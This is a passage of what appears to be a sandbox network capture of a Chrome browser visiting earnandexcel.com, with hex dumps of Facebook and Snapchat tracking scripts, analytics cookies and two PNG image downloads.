b=a.context,c=a.parameter_type;a=a.value;b=b!=null&&typeof b==="string"&&b!==""?b:null;c=d(c);a=a!=null&&typeof a==="string"&&a!==""?a:null;return b!=null&&c!=null&&a!=null?{context:b,parameter_type:c,value:a}:null}func
2024-04-11 21:26:49 UTC	16384	IN	Data Raw: 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 70 65 72 69 6d 65 6e 74 4e 61 6d 65 73 22 29 3b 76 61 72 20 7a 3d 73 2e 55 53 45 5f 46 42 43 5f 41 53 5f 43 41 43 48 45 5f 4b 45 59 5f 45 58 50 45 52 49 4d 45 4e 54 2c 41 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 51 45 22 29 2c 42 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 4d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 22 29 2c 43 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 50 61 72 61 6d 4c 69 73 74 22 29 2c 44 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 Data Ascii: eventsModules("SignalsFBEventsExperimentNames");var z=s.USE_FBC_AS_CACHE_KEY_EXPERIMENT,A=f.getFbeventsModules("SignalsFBEventsQE"),B=f.getFbeventsModules("SignalsFBEventsModuleEncodings"),C=f.getFbeventsModules("SignalsParamList"),D=f.getFbeventsModules(
2024-04-11 21:26:49 UTC	16384	IN	Data Raw: 6a 2c 6b 29 7b 76 61 72 20 6c 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6c 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 31 3b 62 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 76 61 72 20 63 3d 61 72 67 75 6d 65 6e 74 73 5b 62 5d 3b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 63 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 63 2c 64 29 26 26 28 61 5b 64 5d 3d 63 5b 64 5d 29 7d 72 65 74 75 72 6e 20 61 7d 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e Data Ascii: j,k){var l={exports:{}};l.exports;(function(){"use strict";var a=Object.assign\|\|function(a){for(var b=1;b<arguments.length;b++){var c=arguments[b];for(var d in c)Object.prototype.hasOwnProperty.call(c,d)&&(a[d]=c[d])}return a},b=f.getFbeventsModules("Sign
2024-04-11 21:26:49 UTC	1500	IN	Data Raw: 6c 28 62 2e 6f 62 6a 65 63 74 57 69 74 68 46 69 65 6c 64 73 28 7b 73 65 6e 64 46 42 4c 6f 67 69 6e 49 44 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 5b 22 62 6f 6f 6c 65 61 6e 22 5d 28 29 29 7d 29 29 7d 29 3b 6b 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 4f 70 74 49 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 69 2c 6a 2c 6b 29 7b 76 61 72 20 6c 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6c 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 Data Ascii: l(b.objectWithFields({sendFBLoginID:b.allowNull(b["boolean"]())}))});k.exports=a})();return k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsOptIn",function(){return function(g,i,j,k){var l={exports:{}};l.exports;(function(){"use strict";var
2024-04-11 21:26:49 UTC	14884	IN	Data Raw: 62 5b 61 5d 3d 3d 3d 21 30 7d 29 3a 5b 5d 7d 7d 5d 29 3b 72 65 74 75 72 6e 20 61 7d 28 29 3b 6c 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 50 61 72 61 6c 6c 65 6c 46 69 72 65 43 6f 6e 66 69 67 54 79 70 65 64 65 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f Data Ascii: b[a]===!0}):[]}}]);return a}();l.exports=a})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsParallelFireConfigTypedef",function(){return function(g,h,i,j){var k={exports:{}};k.exports;(function(){"use strict";var a=f.getFbeventsMo
2024-04-11 21:26:49 UTC	16384	IN	Data Raw: 75 73 74 6f 6d 44 61 74 61 22 29 26 26 74 79 70 65 6f 66 20 62 2e 63 75 73 74 6f 6d 44 61 74 61 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 62 2e 63 75 73 74 6f 6d 44 61 74 61 21 3d 3d 6e 75 6c 6c 3b 66 7c 7c 28 62 2e 63 75 73 74 6f 6d 44 61 74 61 3d 7b 7d 29 3b 71 28 62 29 7d 6b 2e 65 78 70 6f 72 74 73 3d 72 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 65 6e 64 45 76 65 6e 74 45 76 65 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 Data Ascii: ustomData")&&typeof b.customData!=="undefined"&&b.customData!==null;f\|\|(b.customData={});q(b)}k.exports=r})();return k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsSendEventEvent",function(){return function(g,h,i,j){var k={exports:{}};k.ex
2024-04-11 21:26:50 UTC	16384	IN	Data Raw: 28 22 20 61 72 72 61 79 20 69 73 20 6e 75 6c 6c 20 6f 72 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 3b 61 3d 4f 62 6a 65 63 74 28 61 29 3b 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 3e 3e 3e 30 3b 69 66 28 74 79 70 65 6f 66 20 62 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 62 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 76 61 72 20 64 3d 6e 65 77 20 41 72 72 61 79 28 63 29 2c 65 3d 30 3b 77 68 69 6c 65 28 65 3c 63 29 7b 76 61 72 20 66 3b 65 20 69 6e 20 61 26 26 28 66 3d 61 5b 65 5d 2c 66 3d 62 28 66 2c 65 2c 61 29 2c 64 5b 65 5d 3d 66 29 3b 65 2b 2b 7d 72 65 74 75 72 6e 20 64 7d 66 75 6e 63 74 69 6f 6e 20 77 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 Data Ascii: (" array is null or not defined");a=Object(a);var c=a.length>>>0;if(typeof b!=="function")throw new TypeError(b+" is not a function");var d=new Array(c),e=0;while(e<c){var f;e in a&&(f=a[e],f=b(f,e,a),d[e]=f);e++}return d}function w(a,b,c,d){if(a==null)th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.17	49912	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	813	OUT	GET /cm/i?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:49 UTC	612	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:49 GMT set-cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==;SameSite=None;Version=1;Comment=;Domain=.snapchat.com;Path=/;Max-Age=33696000;Secure content-type: text/html strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 672 x-envoy-upstream-service-time: 91 server: API Gateway alt-svc: clear Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:49 UTC	643	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 77 69 6e 2c 20 64 6f 63 2c 20 73 64 6b 5f 75 72 6c 29 7b 0a 20 20 20 20 20 20 69 66 28 77 69 6e 2e 73 6e 61 70 74 72 29 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 76 61 72 20 74 72 3d 77 69 6e 2e 73 6e 61 70 74 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 74 72 2e 68 61 6e 64 6c 65 52 65 71 75 65 73 74 3f 20 74 72 2e 68 61 6e 64 6c 65 52 65 71 75 65 73 74 2e 61 70 70 6c 79 28 74 72 2c 20 61 72 67 75 6d 65 6e 74 73 29 3a 74 72 2e 71 75 65 75 65 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 74 72 2e 71 75 65 75 65 Data Ascii: <!DOCTYPE html><html><head> <script> (function(win, doc, sdk_url){ if(win.snaptr) return; var tr=win.snaptr=function(){ tr.handleRequest? tr.handleRequest.apply(tr, arguments):tr.queue.push(arguments); }; tr.queue
2024-04-11 21:26:49 UTC	29	IN	Data Raw: 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.17	49913	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1246	OUT	GET /wp-content/uploads/NIKE.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	911	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 7941 Connection: close CF-Ray: 872e0ea19be34239-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ed-1f05" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=26%2BG6KFqXbuTR6P8%2BG%2BVbQDTelyUrlkgWl5Ac47czIU%2FwDUQd6MKcNu%2B1jnXKWN7tKJjG4xKOxpKPTj2gOdqCKsUN8AIWqcJjAfqZGh%2B4QXJjIGAky1z74hPMxK%2BVn3QIf4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	458	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5d 08 06 00 00 00 06 da e2 2a 00 00 1e cc 49 44 41 54 78 da ec 9a 59 a8 4e 5d 1c c6 8f 79 9e e7 79 ca 3c 0b 65 4a b9 50 12 11 99 6e 0c 09 09 89 e4 d2 ec c6 90 0b 19 13 89 12 52 86 94 44 14 6e cc 49 99 8a 0c e1 0c 9d 79 1e fe 5f cf aa 5f bd eb ec 73 de 73 de ef ca ae f5 d4 6a ef bd ce 9a f6 7b 9e 67 fd 87 b5 d3 2c 20 20 20 25 a4 59 40 40 40 10 4d 40 40 10 4d 40 c0 3f 84 20 9a 6a a8 aa aa 4a 5a 84 a2 a2 22 03 a0 b2 b2 d2 12 51 51 51 61 42 7e 7e be 15 17 17 1b f8 f3 e7 8f 81 d2 d2 52 cb cd cd b5 c2 c2 42 03 b4 cd c9 c9 31 a1 a4 a4 84 39 99 c7 15 d6 92 91 91 61 20 2f 2f 4f f3 32 06 e3 69 1e d5 d3 df 1b 97 b1 0b 0a 0a 0c 24 79 2f cd cb 7a bd b5 a6 82 b2 b2 32 13 d2 d3 d3 0d f0 2e 71 40 10 4d Data Ascii: PNGIHDR]*IDATxYN]yy<eJPnRDnIy__ssj{g, %Y@@@M@@M@? jJZ"QQQaB~~RB19a //O2i$y/z2.q@M
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 6f df 6e ec e0 8b 17 2f b6 9e 3d 7b da d4 a9 53 35 8f eb 37 7e fc 78 cd e1 ea 27 4f 9e 6c 3d 7a f4 b0 f3 e7 cf 9b 20 81 71 dd b2 65 0b ed 55 5c ff d1 a3 47 ab 68 6e b7 9e de bd 7b db a3 47 8f 9c e5 9c 3f 7f be 75 ed da 55 6b d2 1a 93 16 ad 59 fd fb f5 eb a7 b1 f5 fe fa cd dc 5a 9e 3c 79 62 71 40 10 cd ff b0 34 a7 4f 9f b6 76 ed da 59 5a 5a 9a 51 9a 36 6d 6a 8d 1b 37 36 9e 5b b7 6e 6d cf 9e 3d 63 4c 67 35 84 e7 cf 9f 5b b7 6e dd bc be cd 9b 37 b7 06 0d 1a 48 2c 7a d6 d8 da c5 9d 68 d6 ac 59 63 b4 6b d4 a8 91 8a 9b a7 65 cb 96 d6 ac 59 33 5d dd df 5a b4 68 61 17 2f 5e 34 e1 d4 a9 53 d6 b6 6d 5b d5 ab 8d b7 46 fa 53 f7 e2 c5 0b c3 32 09 87 0f 1f 96 08 f5 b7 a4 45 e4 17 ee dd bb 67 d4 35 6c d8 50 ef 51 af a2 f6 bc af 8a 44 ac 0d 29 0e 08 a2 49 5d 34 b2 32 1e Data Ascii: on/={S57~x'Ol=z qeU\Ghn{G?uUkYZ<ybq@4OvYZZQ6mj76[nm=cLg5[n7H,zhYckeY3]Zha/^4Sm[FS2Eg5lPQD)I]42
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 4f 1f 65 be 24 4e 05 e6 ea 4f fb 1a 0b ee 94 dc 39 11 ef f2 e5 cb 90 de 13 1b 16 86 3e da f9 15 c7 1c 39 72 84 3a 82 7d b2 5d 88 54 27 fd 2e ab 05 64 cd f4 bb ec da b5 cb 1b 3b 49 6c a7 cf 8d 48 d5 27 0a 45 e3 90 24 d1 b3 67 c9 e2 80 20 1a e0 5b 17 ac 8e fe a9 fa 2e 2a e5 03 bb 43 87 0e 69 77 e5 d4 1c 0b 13 49 c9 72 fe 21 e8 cb e2 6a 62 c1 7d 22 8e c1 0a c8 1d 23 03 a6 af 0c 6a 75 cd 34 17 82 51 40 4f 3c 42 3d 85 67 d6 49 1a 1b 6b 09 e1 67 cc 98 41 1f d6 82 e5 a3 3f 19 33 7d d8 ea b9 66 8a 89 f4 db 62 bd 12 c4 12 1b c1 04 d1 d4 1d df 88 f4 da 35 6b 3d f3 20 f8 4e fb af bd 33 67 b9 a5 d8 c2 f0 fd 2b a2 ff c0 40 41 10 47 1c 50 04 c1 c4 29 11 03 31 12 44 9c 53 87 44 54 cc 44 10 03 39 81 68 a0 28 0e 08 1a 38 04 06 22 1a 29 98 18 fa 17 ce e5 39 f7 3c dc d7 5a Data Ascii: Oe$NO9>9r:}]T'.d;IlH'E$g [.*CiwIr!jb}"#ju4Q@O<B=gIkgA?3}fb5k= N3g+@AGP)1DSDTD9h(8")9<Z
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 44 80 57 67 0c e6 5f 93 34 4a 97 a6 59 c3 c1 f1 b1 4d d0 08 82 66 16 49 4a 87 af 69 94 72 f3 98 81 78 d8 ba 4a 53 ff cf ca 33 14 cd f0 06 e3 72 4e 17 71 d1 ed f3 3b 8f f5 e1 87 1f 5a 9f 4c 35 c7 81 3f 19 04 45 fa d1 c8 6d c1 be 99 f1 58 e9 b5 83 30 49 31 3e 25 83 de b8 5e 56 a7 89 69 99 b9 ca 60 37 93 b3 95 b8 05 ac 64 8d 3a bb 97 c1 1b c7 3d 65 d0 00 4e cf 63 da 44 ef bc 6c c7 6f 80 65 a8 67 45 45 9b cf 9b 29 75 00 f0 86 69 78 37 03 d7 8e d1 ac 11 0f a7 ab cc fa 01 22 7a 0e 34 6c 21 ab 59 62 60 5b 64 70 aa ac 93 d7 02 58 d2 86 12 08 9e b7 00 81 7a 69 54 e7 64 5f 83 a3 1e 5f a0 74 52 06 94 b6 4c 2a d8 21 ad e4 2c 40 f5 1a e0 e8 71 4f bd ef 41 c2 f4 bb 33 01 4d b4 12 03 82 45 c1 67 9e b7 e4 d1 46 12 6d 1b 34 5d 47 40 f5 0e 79 73 75 04 a0 8e 68 40 27 68 1c Data Ascii: DWg_4JYMfIJirxJS3rNq;ZL5?EmX0I1>%^Vi`7d:=eNcDloegEE)uix7"z4l!Yb`[dpXziTd__tRL*!,@qOA3MEgFm4]G@ysuh@'h
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 66 a3 88 06 36 47 80 a6 07 36 af 4f 8f 20 d2 53 40 79 0f dc 27 81 8d ea 29 b0 e8 02 d4 ce f2 89 48 70 8f 0b 70 72 35 38 02 a7 24 be b1 1f c7 52 1a a2 6a 75 d9 d9 b7 de 7a 2b 3c b8 04 4a d4 96 2e cd b8 8b a1 87 e1 08 d8 15 dc c2 7d 8c 58 97 91 4b 95 47 75 69 6f 9c af 9f 7c f2 89 83 2b 07 b2 46 b9 19 87 80 24 8f e1 0a 02 dd 5c 15 49 8b 1a d0 2e eb f7 ee bb ef 96 ac ca 09 77 b3 b1 19 5c a8 0e 9c 62 c0 3b a8 8d f7 84 cd 45 ad e4 9a 6d 5a af 57 7b 4b 22 68 71 61 57 2a 50 4d c9 76 3b 27 1c ce 81 cb da c9 89 1c a0 4f 3f fd 14 a0 10 30 e5 7e f7 e8 45 85 da e3 32 85 a8 a9 4a 5d 9e af 21 05 25 58 a8 7f 06 51 5b cf db b6 53 03 f6 59 48 16 f1 ed 00 61 c0 7b d3 1c f4 69 cf b0 a4 45 d6 24 4e 97 31 9d c1 fa c8 23 8f 14 a6 b4 79 34 3b 98 cd 0c 10 0c 5c ae 4d c3 7c 6a 20 Data Ascii: f6G6O S@y')Hppr58$Rjuz+<J.}XKGuio\|+F$\I.w\b;EmZW{K"hqaW*PMv;'O?0~E2J]!%XQ[SYHa{iE$N1#y4;\M\|j
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 5a 00 79 00 44 c0 b8 ad 52 86 c1 8a e1 ce 42 b7 e4 e0 e0 10 e9 15 06 f4 bb 96 4c 4a 2f f7 ad 93 e8 d6 ba 9d 71 ef 63 0f 49 6f a1 ad 66 a9 8c a3 03 4d d6 27 b3 35 b3 30 59 96 44 ca 67 69 2c ce b0 a8 6f b8 7c 69 0e e6 c6 c5 99 1e 9b d3 5a ef 66 1f 50 16 09 d2 6b 94 98 c2 4e c3 55 7c dd 75 d7 01 92 5d 9e 2c cb d6 fa 39 13 cc 92 2b d7 a5 eb 64 67 bf 9b 6e ba 89 24 30 f8 64 29 fd 57 57 f9 ff a8 40 63 6b 67 65 75 7a 1a 39 23 f2 9c e4 34 09 94 86 91 cb 76 cc 88 39 5b 73 2c d5 b5 d3 a6 f9 a4 7a 35 67 f8 eb 42 2e c7 21 0f 08 1e 19 31 17 02 9f 9d e5 37 d2 78 c7 2e 11 24 b3 40 ca df 95 24 19 d4 4d 1e d9 15 57 5c 41 7c 07 a9 56 24 62 d8 2e 8b f1 6e 6d 1a 34 fa ed 1b f5 87 b5 5c cc b9 48 15 c3 81 53 56 1f be f1 c6 1b a1 89 4c da 0a 87 07 4c 55 b9 4c f5 4d f0 36 cd a0 Data Ascii: ZyDRBLJ/qcIofM'50YDgi,o\|iZfPkNU\|u],9+dgn$0d)WW@ckgeuz9#4v9[s,z5gB.!17x.$@$MW\A\|V$b.nm4\HSVLLULM6
2024-04-11 21:26:50 UTC	638	IN	Data Raw: 38 ac 82 09 85 7f aa 68 5d f1 4c 1d 20 ce b2 2b 5f 65 8a d1 ec 36 99 1c 06 50 28 2c ce 72 86 23 e2 7e 24 6d 71 a0 99 a8 a8 09 cb 59 43 da 57 66 6f 0d 6a 28 25 87 94 0c 56 6c 39 89 ed e2 92 19 ac 04 96 0c 63 8c fc 01 9a 23 68 8b 04 4d 56 ca b7 41 cb 37 95 b9 b3 e2 96 bf 1d 8a 97 e6 e2 49 93 55 f3 b3 8a 4b a6 2b 5f 73 cd 35 94 81 75 f9 f4 ac e0 3f 24 cd 91 b4 45 82 26 aa c8 bb 70 13 46 33 65 8d ac 4c 2f d9 d2 a5 fa 4e 35 a2 6f cf fc 19 cf 6f 5e 0e 2b 8f 7d f0 c1 07 73 c4 48 be 1b a0 39 82 b6 38 d0 08 98 86 56 e3 b2 1a 90 37 73 19 6e e9 fc 0c e4 d3 48 f0 42 92 a4 aa 26 40 5d 79 98 f2 b8 73 0b a0 5a 54 6f e4 ab 1c 51 5b 1c 68 6c 73 c0 b9 fb ee bb a7 02 87 87 b2 69 00 61 aa 63 65 8d 7c 96 f8 c0 0b d6 b8 7e ad 2b 60 6d 30 be 73 35 02 c0 35 40 73 04 6d 91 a0 41 Data Ascii: 8h]L +_e6P(,r#~$mqYCWfoj(%Vl9c#hMVA7IUK+_s5u?$E&pF3eL/N5oo^+}sH98V7snHB&@]ysZToQ[hlsiace\|~+`m0s55@smA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.17	49914	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1008	OUT	GET /wp-content/uploads/DHL.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	901	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 6050 Connection: close CF-Ray: 872e0ea1cc9143f3-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f0-17a2" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:24 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZgcS0VZQNrsxEnsWGwsC6232X0NEc3dleIs8AI3NzgoOrIscspz4l%2BfXgJWV1mIZAyobpkUGwAq9N3pTP%2Bd5o49stvrxxtpYR2xlwl0eetCEvHBpN4fh5SKCE818uMz1oSQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
